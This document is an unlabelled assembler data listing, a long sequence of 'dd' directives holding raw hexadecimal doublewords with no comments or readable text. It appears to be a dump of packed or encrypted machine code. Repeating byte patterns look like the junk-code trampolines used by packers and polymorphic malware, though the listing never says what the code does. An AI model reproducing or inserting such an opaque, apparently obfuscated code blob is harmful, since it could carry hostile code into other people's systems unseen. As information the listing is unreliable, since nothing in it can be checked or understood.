		dd 0E7Ch, 52243489h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 0C895C24h, 4D3C6824h, 3C890000h, 0B9515624h,	2E237C95h
		dd 0F181D9F7h, 0C11DA60Ch, 0B959CE89h, 1673D8F5h, 545EF131h
		dd 83243C8Bh, 0BB5304C4h, 8, 0B89FB01h,	83241C8Bh, 34FF04C4h
		dd 0C4815F24h, 4, 592434FFh, 4C481h, 0B9E90000h, 38FFF97Bh
		dd 6C114463h, 0F7B81DDCh, 306B301h, 6AE0FFC5h, 0D3616E75h
		dd 250F79E4h, 8D2E0DF7h, 0B3037E8Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B48AB10Ch
		dd 2F0D8D89h, 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0F9ABBFC3h, 8C9AAFF3h, 585C752h
		dd 0E806AC1Eh, 6A00005Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 9FF2C357h, 9D34E79h
		dd 8B202916h, 0AC11DDBDh, 0DDBD8B06h, 0C706AC28h, 0AC27F185h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0DDD72CBAh, 66AABA34h, 0B5FF7F11h
		dd 6AC2FF5h, 0E9F3BF0Fh, 8, 0B23EE046h,	4142C89Bh, 0BF995FFh
		dd 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 7244AEC3h, 6AD38AD2h, 4595FF00h, 8B06AC21h
		dd 43FEBC0h, 543A6830h,	144A5E54h, 98CAEC4Dh, 1CAE7C9h
		dd 8D0D565Ch, 0A1F30B63h, 1DEE8929h, 69247F1Bh,	36AA0F6Eh
		dd 0A5112F47h, 202D6759h, 43608AE5h, 0B1DA15E0h, 313174E8h
		dd 370CBF44h, 8D8D30FBh, 6B3047Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 44C35747h, 89C9B6A7h, 0AC2F0D8Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BD89A36Dh, 6AC1471h, 1E0585C7h,	690C06ACh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 6C3237C3h, 0DEDD11F7h, 0C79F20A7h, 0AC27F185h
		dd 6, 0ADF8000h, 2FF5B5FFh, 6A06ACh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0FFF951C3h
		dd 0AC0BF995h, 6AF906h,	214595FFh, 0C08B06ACh, 73463FEBh
		dd 0EF73C7BCh, 0BEBD45F3h, 60DADAD4h, 30190FB3h, 0B2D70B17h
		dd 43089CFAh, 0B0084388h, 66EA4E5Eh, 1AD31195h,	0B1C71A39h
		dd 0DFA11173h, 0D6CB0AF7h, 0A64EC281h, 0ECCF9A58h, 3094F54Ch
		dd 5E858h, 6E5F0000h, 5B0F0765h, 0C8D0Fh, 8A0F0000h, 6
		dd 34BD9531h, 0C38106ACh, 6733h, 302D8D89h, 9BBA06ACh
		dd 8B000019h, 0AC0AC5BDh, 0F33FF06h, 68Eh, 0F1952900h
		dd 5906AC33h, 49EF8166h, 0C5F181BBh, 660EB653h,	8125B5BFh
		dd 669BF3E9h, 0E870F0Dh, 0E9000000h, 9,	0E7C47750h, 0D3C0BDDFh
		dd 0BBC1815Bh, 0F432489h, 951F9B7h, 0AC21399Dh,	89038F06h
		dd 0AC0B95B5h, 58EB8106h, 0F84E8C75h, 7554C381h, 0F4A4E8Ch
		dd 2A85h, 0C870F00h, 0E8000000h, 6, 8E37490Bh, 0E95FF258h
		dd 21h,	38751BA3h, 2CDF90F4h, 0EAA00A4Ah, 2BD75A78h, 8BF5FD43h
		dd 0FF6BE9C3h, 0E224FFFFh
		dd 0CB209C7h, 0BE8D8h, 62260000h, 419C6932h, 8E52ADA7h
		dd 0BD95890Dh, 5A06AC2Eh, 1D1B589h, 0C28106ACh,	682Eh
		dd 2880Fh, 37B30000h, 8C0FC933h, 6, 13098529h, 34FF06ACh
		dd 858B6011h, 6AC34F9h,	5F61DA8Bh, 0AFBE6653h, 0F7815B5Ah
		dd 0AC7DF6h, 68C0Fh, 9D030000h,	6AC1309h, 0DA81F781h, 0F603359h
		dd 89h,	0EF816100h, 7D18FEE2h, 1E09858Bh, 3C8906ACh, 6660600Ah
		dd 0FE4DE981h, 6661DA8Bh, 6614C681h, 68B0F61h, 81000000h
		dd 0F16937C0h, 4E9830Dh, 9E9h, 15D12200h, 0DD455311h, 0F98113EAh
		dd 0FFFF98A4h, 0F850Fh,	21E90000h, 7A000000h, 1B77CDF6h
		dd 9F4A6B69h, 1D850301h, 0E906AC2Fh, 0FFFFFF6Ah, 0C65EB8BDh
		dd 3719E64h, 0F608D9EAh, 7308D8Dh, 0C28106B3h, 3202C3B7h
		dd 2F0D8D89h, 0B52906ACh, 6AC1BF5h, 1E0585C7h, 6FB406ACh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 870F0AC3h, 11h, 6E960h, 0FAA90000h, 0BFFCF2A1h
		dd 0D667B966h, 0F185C761h, 6AC27h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0A58BC352h, 0A770987Bh, 664C3ED2h, 0FF5F1AB8h, 0AC271DB5h
		dd 47DE8006h, 5870Fh, 0E6BA0000h, 0FF12292Eh, 0AC0BF995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0FF006A59h, 0AC214595h, 0EBC08B06h, 447C2A2Eh
		dd 7D4C118h, 3F784544h,	3057F702h, 26D94025h, 0B5339C73h
		dd 0A4B4529h, 6FB5A1C7h, 0C8C389F4h, 0BD14FAFAh, 1B5F73B7h
		dd 0E8FA7FB1h, 9, 7A31AF90h, 69C073AAh,	58CA8B52h, 5E9h
		dd 60EDB00h, 0C081C45Eh, 62DBh,	11A99589h, 86BA06ACh, 0F000018h
		dd 188Ah, 13E900h, 0BBA30000h, 0A5766037h, 3E6F9F78h, 0D27B6747h
		dd 3F409BAAh, 0B7388B9Ah, 14C7819Eh, 0E90E6690h, 5, 4E5C1933h
		dd 0AC781D8h, 8B5507FFh, 0AC29118Dh, 0CAF78106h, 8B1D88DDh
		dd 0AC0BDDB5h, 66388906h, 0E883CB8Bh, 0EDD58003h, 0F5858948h
		dd 4A06AC2Dh, 1E850Fh, 29600000h, 0AC064D8Dh, 30E96106h
		dd 65000000h, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h, 702072B2h
		dd 31E58D8Bh, 92E906ACh, 42FFFFFFh, 753589AEh, 6BB49232h
		dd 0C1CC46F7h, 9FA94C80h, 0E8E24596h, 0Ch, 140B6638h, 5BBFA92Ch
		dd 0FDF6EABEh, 695958Bh, 895B06ACh, 0AC2739BDh,	0F9C38106h
		dd 8000005Bh, 0C92B94D6h, 2DC3F281h, 348B7CC7h,	25BD8B0Bh
		dd 8106AC0Eh, 0ECFCD7EEh, 0FEBF0F0Fh, 7927EE81h, 665302F9h
		dd 8158D08Bh, 8DECA2F6h, 198D2944h, 8906AC33h, 950B0B34h
		dd 6AC33F5h, 0CD958960h, 0F06AC28h, 38Fh, 0C68B6600h, 1E98361h
		dd 0C6B70F51h, 4949495Ah, 0AA3AEA81h, 0F9816F33h, 0FFFFA4C4h
		dd 21850Fh, 1500000h, 0AC1E0185h, 2AE95A06h, 96000000h
		dd 0F1E93F65h, 41C449A6h, 6B8553Fh, 0FBDE4950h,	0FCAB889h
		dd 87h,	0FF74E900h, 5BADFFFFh, 561795F4h, 700B2226h, 5E8D0h
		dd 0DD180000h, 608213DFh, 8B66FC60h, 0BD8961F7h, 6AC0045h
		dd 0BF0F5F61h, 49C781F1h, 8B000065h, 0AC2525B5h, 6C73BB06h
		dd 0EB8107F7h, 7F75357h, 11E9B509h, 0F8B06ACh, 0F840Fh
		dd 0E9600000h, 8, 0B26CDFD0h, 991B0731h, 0C7F18161h, 60603805h
		dd 860FD98Bh, 0
		dd 20C18161h, 0E846570Eh, 10h, 0CFD44996h, 0BC564D06h
		dd 1A016058h, 564582BFh, 7DD9531h, 815806ACh, 0B866FFC1h
		dd 5121BA46h, 8B516CE9h, 0AC13B1B5h, 66078F06h,	839608BAh
		dd 958903EFh, 6AC2AA1h,	5810F4Fh, 0B8000000h, 3702EEE3h
		dd 0F01EB83h, 1585h, 0AD858B00h, 0E906AC10h, 1Fh, 71097460h
		dd 0C4E3C214h, 4FB4D5C3h, 0FFFF65E9h, 0D9D5CFFFh, 3E9B78E1h
		dd 39E81CDBh, 42AF9AB8h, 6A234ACh, 7AA27C24h, 0BB3BB37Dh
		dd 21809C3Ah, 9083B42Ah, 0D66F3025h, 0A7863025h, 0BE8D5198h
		dd 8D893023h, 848630B4h, 76438DA6h, 2E863689h, 9086B4A1h
		dd 7103F625h, 6A809C16h, 128634CDh, 4B517025h, 0C00D608Dh
		dd 420D3401h, 25A274ACh, 0F133CF7Dh, 0C5809C2Eh, 8BEF19A0h
		dd 9956CF23h, 3003F6D5h, 0CA809C16h, 428634CDh,	63517025h
		dd 0D40D608Dh, 480D3401h, 20A274ACh, 0D733CF7Dh, 84809C11h
		dd 2BEF19A0h, 0C956CF23h, 219689DDh, 986F3025h,	0EE863025h
		dd 2488B52Ah, 19CF3025h, 0F9033FECh, 6D79CFDAh,	42863028h
		dd 6FB5ADA8h, 953E3689h, 0B7863025h, 0F33BBDC6h, 9F80832Ch
		dd 0BA8C97A8h, 0A1948823h, 8DADB615h, 4284D9E4h, 6A234ACh
		dd 7AA27C24h, 0BB3BB37Dh, 21809C3Ah, 9083B42Ah,	0D66F3025h
		dd 83863025h, 0A4F305E9h, 22B9h, 22E900h, 0A9E00000h, 6665h
		dd 7 dup(0)
		dd 80DE9h, 904CA700h, 0D00CE151h, 934BA111h, 0D20AE252h
		dd 904CA313h, 96D52C51h, 0CE7EBF77h, 9121E01Ch,	3080417Dh
		dd 97DE1FD7h, 2C1F75C6h, 4B6CE8E0h, 36045DC7h, 7B6CEF93h
		dd 79027F45h, 0C6E8ABDCh, 0CAA66207h, 6FF461DEh, 92416FA8h
		dd 2F0B4821h, 39F9D5E5h, 65A4608Fh, 8E434D5h, 9422E2CCh
		dd 1E7BBB73h, 5C8DD0BCh, 0EC6861A0h, 0E439EF4Bh, 47h, 0D15BF68h
		dd 2C058B6Dh, 11F8C841h, 4CA315D5h, 97355090h, 8F47A6FBh
		dd 0F5C3474Eh, 24C9C0BBh, 45000000h, 0B777AF5Eh, 9335CB02h
		dd 0E581A1EFh, 4E9D59B0h, 53DA12FEh, 9C71C190h,	79578F7Ch
		dd 243AF0h, 5E300000h, 2B777AFh, 0EF9335CCh, 0A61A76AAh
		dd 37B3A10Ch, 0B33AC2AAh, 71B06C83h, 0C3C08A20h, 3926F8Ah
		dd 4F8B068Ah, 8445F625h, 0C9E52F2Ah, 7D9325E5h,	61D18041h
		dd 101D558Bh, 0D5D5995Bh, 0B9913BFBh, 81951613h, 0B88801E3h
		dd 0B1698652h, 81B39D59h, 0D872B26Ah, 915536F6h, 869B28FBh
		dd 4BEBDBE1h, 7759957Bh, 563210B7h, 0F031ED03h,	0B374AA40h
		dd 4A803510h, 71C1123Ch, 8A2629Ah, 72F64381h, 42FCEB5Bh
		dd 2B20662h, 5CF636EEh,	0CF467E6Eh, 14D511FFh, 23498B18h
		dd 0BFA6ACADh, 0EA2AE20Fh, 10F9C940h, 15BF5AD4h, 1921AB57h
		dd 0D31099BEh, 21DD3282h, 15BF24A8h, 7A370571h,	727FCCF2h
		dd 564CE7CFh, 0C85CD55Ch, 0C0BDBBBBh, 65h, 0DF0FBF4Ch
		dd 894BAE27h, 0CBF6DE3h, 0EF9335D8h, 1147F425h,	5EEF9336h
		dd 87477F6Eh, 0A32D032Dh, 2AE20FBFh, 18C940EAh,	5DEEBF14h
		dd 0EF933607h, 9C5C9871h, 0DE0D2136h, 9336376Dh, 21A884EFh
		dd 8D3EFB11h, 0EF933657h, 28A688A4h, 0B854E4B5h, 8E4E8660h
		dd 0F830A24h, 26DE0FBFh, 0FC54CE6h, 16h, 23498B05h, 0D80CBFADh
		dd 0A4EF9335h, 0B3BF048Ah, 0FA74B05Eh, 0AD5EB9B5h, 0B8FE2E77h
		dd 0B49AD40Ah, 0C1722374h, 0EF92D28Bh, 4675FCD0h, 0EF945280h
		dd 7D204C6Ch, 0C091508Ch, 0D55C9870h, 0ECE06E5h, 559551B8h
		dd 42F69230h, 0CF87AE8h, 913C06BAh, 0E1092155h,	5868E172h
		dd 0BDB475B1h, 3F404B39h, 2F33h, 0AD5EBF00h, 56E6B171h
		dd 15F079B5h, 0DB68BBD1h, 0E52F28AAh, 0AD6987B7h, 29E9C76Dh
		dd 7ABA729Fh, 20E01CCCh, 3422E0Eh, 0A4F995B5h, 464A8B43h
		dd 0B05EEEBFh, 2F1EB474h, 0EF9335F9h, 629A7646h, 14F5C54Ch
		dd 0BF7B18D8h, 58B606D5h, 7FF65C9Ch, 0A14FFFAEh, 0DB09A565h
		dd 0D50FEDC2h, 0B38B19Fh, 0E52ED752h, 0C272B39Fh, 982DED29h
		dd 72124323h, 183D2909h, 46F637EFh, 0CAA969A5h,	7B7640Eh
		dd 960129E5h, 5ED1EC8Dh, 0E8B968E1h, 45D60AB9h,	371B7AB1h
		dd 55908DBEh, 715D704Dh, 498BBCB0h, 0A6ACAD23h,	0A271AD5Eh
		dd 49C0FC12h, 0E7A1ADC5h, 0BDBB5373h, 4899h, 498B1500h
		dd 0F463AE25h, 644A00FAh, 0BFEEBFEAh, 9335D80Ch, 800925EFh
		dd 93355DB3h, 8EA2EFh, 15BFB3BFh, 0AE61DA4h, 0AD698273h
		dd 0D43A0A83h, 0B9B59618h, 54A4h, 11A2F300h, 0EF9335BBh
		dd 0CF0FC725h, 0D75E7265h, 0BFEEBF5Bh, 9335D80Ch, 380925EFh
		dd 0EF9335E4h, 698C0529h, 0BF4FC1ABh, 9335D80Ch, 0E28CA4EFh
		dd 0F316F42Bh, 0BF0688A6h, 0BE15BFB3h, 52D8C4B3h, 0FB1121A8h
		dd 0DBF531DFh, 0B6EA5908h, 0FBEF9251h, 0B5D25ED7h, 71AD5EB9h
		dd 0C3FB12A2h, 553D884Ah, 3BEF94B5h, 0C12A6F1Bh, 0FA3AF219h
		dd 0FBF7E50h, 9CD422E0h, 0F91EADE6h, 114017D7h,	5FCD4DBBh
		dd 310865h, 0EF979BCCh,	84B43D11h, 0C69A965h, 709FC2AEh
		dd 853667B4h, 0EF979B4Fh, 0FA39B09Ch, 40D577F3h, 0A489233Fh
		dd 0CDE12600h, 4BDB54DDh, 57000000h, 0B171AD5Eh, 328116D2h
		dd 0EF9335DEh, 10270F23h, 0DC359680h, 0DD8C5F71h, 0C9E93F8Ch
		dd 1A36EF92h, 0CA0AC228h, 0DFDAE960h, 0A8E52EBBh, 0E8164AF9h
		dd 775BF63Eh, 0E46DA945h, 2F1DDDF1h, 0CD3E630Fh, 3181D011h
		dd 77DD1DD9h, 0AD5E72FEh, 16D2B171h, 0E11CAF7Ch, 2AE52F42h
		dd 44A9719Ah, 0CCE24888h, 0BD7C5045h, 23498BB1h, 5EA6ACADh
		dd 0ADFF71ADh, 5373E7A1h, 2D99BDBBh, 48000000h,	15D511F8h
		dd 8BBA36BFh, 0BFAD2349h, 9335D80Ch, 870925EFh,	0B05EB3BFh
		dd 0E4B5FA74h, 4D7FB754h, 0DA7679Fh, 2EA40884h,	0AE000000h
		dd 0D13F498Bh, 0EA2AE209h, 0CE406E40h, 35D80CBFh, 4BE1EF93h
		dd 0F3A8461Eh, 0C80EB518h, 0E8067A52h, 7957C34Ah, 5EB3BFF7h
		dd 0B5FA74B0h, 77AD5EB9h, 2E8CADBAh, 5090BED1h,	94531DE5h
		dd 6FA747EFh, 3BF319AFh, 0E525E109h, 0AD07BF53h, 16A0E18Dh
		dd 0E6075A36h, 0EBEEF2Eh, 4BE121DDh, 2019F2C2h,	97543D93h
		dd 80AE82EFh, 8DE72340h, 64D8ED5Eh, 0C9E5E533h,	498B0408h
		dd 0A6ACAD23h, 0A271AD5Eh, 0C0FC12h, 0ADAF23AAh, 5373E7A1h
		dd 3299BDBBh, 48000000h, 9BDA21E2h, 3EB78C33h, 23498BB2h
		dd 0D80CBFADh, 25EF9335h, 0B3BF8709h, 8268B05Eh, 0B5EA644Ah
		dd 7FB754E4h, 2BE309BFh, 0A4008C05h, 3Ch, 0E30FBFAEh, 0C841EB2Bh
		dd 0B85EF2Dh, 2BE30FBFh, 219241EBh, 0EF9335EBh,	44951C30h
		dd 9335A1F7h, 0CF416FEFh, 2644EEBFh, 8253B093h,	58DB4B63h
		dd 1A4196E9h, 0B05E1F93h, 0B9B5FA74h, 7D6DAD5Eh, 52B8141h
		dd 0B58A70C5h, 5676EF94h, 4E86673Ah, 0BBF6379Dh, 0E43AD4F0h
		dd 0ED1EAE6Dh, 5692F131h, 0FB10C820h, 87A903C3h, 10C3ED47h
		dd 3357BAA3h, 0DD6D47E5h, 0F805AB12h, 626EAF81h, 6DDE498Bh
		dd 0EF933637h, 85924AA1h, 0AC0987A9h, 71AD5EA6h, 0E7A1ADFFh
		dd 0BDBB5373h, 5F99h, 0EEBF1500h, 9336075Dh, 0F17854EFh
		dd 0F241D614h, 0EF93359Eh, 84AAC9E3h, 8BABBB38h, 0BF7797A5h
		dd 0EEBF1F91h, 35D80CBFh, 1525EF93h, 9F1638F4h,	933578ACh
		dd 16F5C5EFh, 9AB41EDEh, 5EEEBF14h, 7FF37AB2h, 8368B05Eh
		dd 507EB657h, 0B9B5F07Eh, 75DEEBFh, 54EF9336h, 253BF178h
		dd 31000000h, 0AD23498Bh, 35D80CBFh, 8AA4EF93h,	5EB3BF04h
		dd 17A774B0h, 588C3FFAh, 0A5EF9335h, 0CD67A789h, 0B9B5C844h
		dd 21DF0FBFh, 6299231Fh, 81082637h, 668058B1h, 0E35380AEh
		dd 0B812D20Ah, 0EA4F331h, 6C407432h, 0AD5E6C2Ch, 921BB171h
		dd 0AD9B377h, 2E9400B9h, 8F79C9E5h, 153D9757h, 878EE2Ah
		dd 41198C0h, 57E4D534h,	0F63EE501h, 7E4C624Eh, 0BE7F518Dh
		dd 0A6751FDBh, 0D1E9CD15h, 3EFED2EBh, 0F430D969h, 27179E34h
		dd 3AF812C6h, 90144B3Eh, 103E1038h, 508861D1h, 538B63B7h
		dd 0D7173993h, 545A027Bh, 0DDF335B3h, 958633F3h, 0FB565903h
		dd 1EAAFDBh, 53B404C5h,	0FDED5B9Bh, 84A601C1h, 9854B5E8h
		dd 0D814FB4Bh, 73C39251h, 0AA0609Ch, 0A25AB383h, 32E62h
		dd 240000h, 7BB35E72h, 20DC0DBBh, 2BA56E0h, 5A9274C2h
		dd 1BD2C9Ah, 5C9877C1h,	0AC22A9Ch, 568E7CCAh, 13CB2096h
		dd 8953DDD3h, 4C381E3h,	83000000h, 1C8704EBh, 24248B24h
		dd 464468h, 240C8900h, 81E68956h, 4C6h,	4EE8100h, 87000000h
		dd 895C2434h, 6857242Ch, 18156A92h, 6BF7815Fh, 571EA660h
		dd 0A240481h, 595C4605h, 50AE981h, 545F5C46h, 81242C8Bh
		dd 4C4h, 0BF575200h, 58AF304Ch,	666CE781h, 0F7817768h
		dd 7752960h, 3AFBCF81h,	0C781227Ch, 8882C409h, 15FFA89h
		dd 5A0A89EAh, 50242C8Bh, 405E089h, 83000000h, 48704C0h
		dd 0C8B5C24h, 0E7895724h, 4C781h
		dd 0C7830000h, 243C8704h, 6B1EE95Ch, 8D35FFF9h,	5AB88F1Bh
		dd 306B312h, 0F4E0FFC5h, 211BE65Ah, 1A4683B4h, 5F1856E6h
		dd 7875D318h, 795A898Eh, 8D156AD8h, 0B3140B8Dh,	0F1F78106h
		dd 97C6248h, 0AC21799Dh, 0D8D8906h, 6A06AC2Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0B0D2C357h, 68E5D18h, 0CBE61ADEh, 39DFEE81h,	85C752CCh
		dd 6AC1E05h, 6A90h, 68B0Fh, 858B0000h, 6AC2B51h, 27F185C7h
		dd 6ACh, 0EAB40000h, 118DB5FFh,	6A06ACh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B1D945C3h
		dd 0F58D89ADh, 0E806AC20h, 0Fh,	2376B6CAh, 7737780Dh, 3DA57D25h
		dd 663CFF8Ch, 9C00C281h, 0F995FF5Fh, 6A06AC0Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 66FBC356h, 95DC24C4h, 215DB501h, 8D8906ACh, 6AC1261h
		dd 95FF006Ah, 6AC2145h,	5FEBC08Bh, 5E67F41Dh, 0EF4A5B7Bh
		dd 5CED99A0h, 84D35BC2h, 0B4D13398h, 3BC974A0h,	0BD67A944h
		dd 6B90E018h, 53FC66A3h, 0B003F86h, 664EE9Eh, 7DA98A44h
		dd 4D7E0D01h, 0C208153Eh, 80BA764Fh, 4DCD444Fh,	0BD91B50Bh
		dd 674C1612h, 3CFD0866h, 0DA20BCFEh, 0C1CD705Eh, 0AEEB67B7h
		dd 8E1E4990h, 0E8CD4A81h, 11h, 6C53225Eh, 46DF6AC6h, 2BA31E64h
		dd 0E03B352Fh, 65BF669Dh, 0BD8B59F3h, 6AC1FCDh,	6463C181h
		dd 9D8B0000h, 6AC06E1h,	18E3BAh, 0D3816600h, 31FF8A41h
		dd 0D7C5BF66h, 19BD895Eh, 8106AC05h, 9377F3C6h,	7D9D8B3Fh
		dd 8106AC2Dh, 859DAFF6h, 6810F7Dh, 89000000h, 0AC11519Dh
		dd 9AEE8106h, 0F25117Ch, 3356C3BFh, 0AC1CDDBDh,	0F018F06h
		dd 68Eh, 1D858B00h, 8106AC0Eh, 1819FE9h, 6E906h, 4ACC0000h
		dd 0D33E63AAh, 819BC181h, 89600601h, 0AC2DA985h, 0E1958B06h
		dd 6106AC32h, 1EA81h, 850F0000h, 20h, 28C0Fh, 0F88B0000h
		dd 22E9h, 0E7C23000h, 6ED831FDh, 0DB37EC48h, 0BF937CE7h
		dd 989C6A85h, 0F02886BFh, 0FF5CE969h, 0BC62FFFFh, 0E878D424h
		dd 0Ch,	162D95EAh, 7C35A6F5h, 47ADDAD9h, 69958B56h, 5906AC17h
		dd 0C346B95Bh, 0C3811343h, 5F5Fh, 14E9h, 0A9085200h, 0FBCFB43h
		dd 150E8828h, 4D246358h, 558560FCh, 17AE6816h, 0B9660000h
		dd 8B5E20B3h, 0AC0F1595h, 313B8B06h, 0AC1ACD85h, 2EF8106h
		dd 894C80A7h, 0AC20FDBDh, 9EEF8106h, 66762F61h,	272DDA81h
		dd 1447EF81h, 0B70F4245h, 9D8957C6h, 6AC0885h, 0B589038Fh
		dd 6AC20D5h, 0D3B5EB81h, 0E68A4F2Eh, 0D3B1C381h, 0CE94F2Eh
		dd 2C000000h, 0F32F99F2h, 61A7D505h, 83DC642Ch,	850F01EEh
		dd 0FFFFFFA1h, 8DC68B66h, 0B316D58Dh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 3AB5911h, 3890B7E4h,	8B66C7C9h, 21958BD7h, 8906AC35h
		dd 0AC2F0D8Dh, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 9F31BA41h, 0C77DF480h
		dd 0AC1E0585h, 625806h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0C78B917Bh, 0AC27F185h
		dd 6, 0B9B58B00h, 0FF06AC08h, 0AC270DB5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 3ABAB064h, 0D2BF0F8Eh, 0E259589h, 95FF06ACh,	6AC0BF9h
		dd 2EBDB529h, 6A06ACh, 214595FFh, 0C08B06ACh, 8A615DEBh
		dd 0F31248C4h, 56F5469Eh, 50418FB4h, 0D9F3C37Ah, 0D4C335A7h
		dd 15D5E389h, 0C57E557Dh, 4CD7550Ch, 28CEBFF6h,	0B94DBB41h
		dd 0C9122A4h, 9F163741h, 0A231677Dh, 92B3156Bh,	0B8DFBC2Bh
		dd 589F8B50h, 0A0B7F46Dh, 24E36291h, 6D7E2DCDh,	0E9819FCAh
		dd 0EBC7E413h, 724BED4Eh, 8DAE6ABFh, 0B318378Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0C73288BCh, 345203D9h, 81665398h, 5AF056EEh,	5E8h, 3B035000h
		dd 0BE9E3A6h, 0E3000000h, 52586EA8h, 7E5CA94Bh,	8958F30Eh
		dd 0AC2F0D8Dh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 6B0A9712h, 8FE45B7Dh
		dd 585C7F1h, 2C06AC1Eh,	0E9000068h, 0Bh, 44E4724Eh, 0D45D0E40h
		dd 0C725CA73h, 0AC27F185h, 6, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0FF28B15h
		dd 80h,	25B5FF00h, 6A06AC09h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0D77DC355h,	0FE9F4124h
		dd 8C5BD03h, 95FF06ACh,	6AC0BF9h, 0A5BD8956h, 5806AC27h
		dd 95FF006Ah, 6AC2145h,	5AEBC08Bh, 0BEBCFC29h, 71FC4CC5h
		dd 74D68431h, 0FA271F17h, 83B9A2BFh, 0B78B4823h, 0EA998701h
		dd 0E4D9DE77h, 4AEECC25h, 3AFBF184h, 81B21CE5h,	6707CD86h
		dd 0F5F4FBBBh, 0DB7DEBACh, 27E95DD5h, 2FCA9DD4h, 0E1800C9Ah
		dd 0D2C97D21h, 0DB460C40h, 48F8B604h, 0F5D83EC6h, 458A0A8h
		dd 8D8D93DDh, 6B31927h,	0D99D2956h, 5E06AC05h, 2F0D8D89h
		dd 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 77D515C3h, 585C733h, 5C06AC1Eh, 89000062h
		dd 0AC29E9BDh, 0F185C706h, 6AC27h, 89000000h, 0AC082185h
		dd 8DB5FF06h, 6A06AC11h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0DFA5C352h,	9D8BC6EBh
		dd 6AC1BD9h, 0BF995FFh,	958906ACh, 6AC2575h, 95FF006Ah
		dd 6AC2145h, 5FEBC08Bh,	0F8B6042h, 1079F981h, 0B5CE22BBh
		dd 69AD5CE6h, 0AEF28B45h, 299EF79h, 62449EC1h, 1DA7F198h
		dd 0D61C29DAh, 8D38449Ch, 8720FFE0h, 83B6114Eh,	7A775676h
		dd 9C0F70B0h, 0AF5C080Fh, 4D15E54Dh, 0E3CA79E3h, 0BEB6024Ch
		dd 0F7A041Fh, 0EB6E8D06h, 0F1635387h, 456AE418h, 0D1503E8Eh
		dd 0E831F31Bh, 6, 0F6D18554h, 58F5AF6Ah, 2B3DBD8Bh, 0C08106ACh
		dd 6182h, 7E9BD8Bh, 6806ACh, 0F000000h,	68Eh, 0B9DA8100h
		dd 5B27C2B3h, 334FFF9h,	21818D09h, 665E06ACh, 9738D281h
		dd 7FBFC681h, 0EE8121A7h, 596CC9DFh, 1425BD89h,	0EE8106ACh
		dd 7C0E3345h, 66183489h, 0D6FAEA81h, 5003EB83h,	0FE957h
		dd 0A0730000h, 1C76193Dh, 0F288FCB5h, 3F02371Dh, 4B5A592Ch
		dd 0BDE78166h, 2CFB812Fh, 0FFFFF9Fh, 1985h, 2402BA00h
		dd 1FE953CEh, 0C1000000h, 4EECB116h, 89B513A8h,	117713A2h
		dd 958B8D5Dh, 6AC2AB5h,	0FFFF80E9h, 5ECB6FFh, 8D8D5208h
		dd 6B31B43h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	42C35343h, 0E1B38C53h, 2F0D8D89h, 6A06ACh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 603159C3h, 8E8h, 39F7C00h, 0E32E5D78h, 880F50h, 5E000000h
		dd 3EFDB966h, 0CE816661h, 85C714A1h, 6AC1E05h, 58D0h, 2D8D89FCh
		dd 0C706AC20h, 0AC27F185h, 6, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 18AE4386h
		dd 3AC373FBh, 9D898F1Dh, 6AC0C91h, 0EA1B5FFh
		dd 0BD8906ACh, 6AC1391h, 6E8h, 0F6FD4A00h, 0FAC862Eh, 48Dh
		dd 0EAB86600h, 95FF5EA3h, 6AC0BF9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 71C35040h, 0FBD541BAh, 0A6D8801Eh
		dd 95FF006Ah, 6AC2145h,	7EEBC08Bh, 0EFFE41F5h, 6E86D014h
		dd 3EF4EE2Eh, 850E787Eh, 0CA724C33h, 0BC69122Eh, 74EFDE15h
		dd 0F629A4FEh, 346BC3B2h, 5CD2CD33h, 0F2827AD9h, 63B8281Fh
		dd 0F7E443C4h, 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 6F37E015h
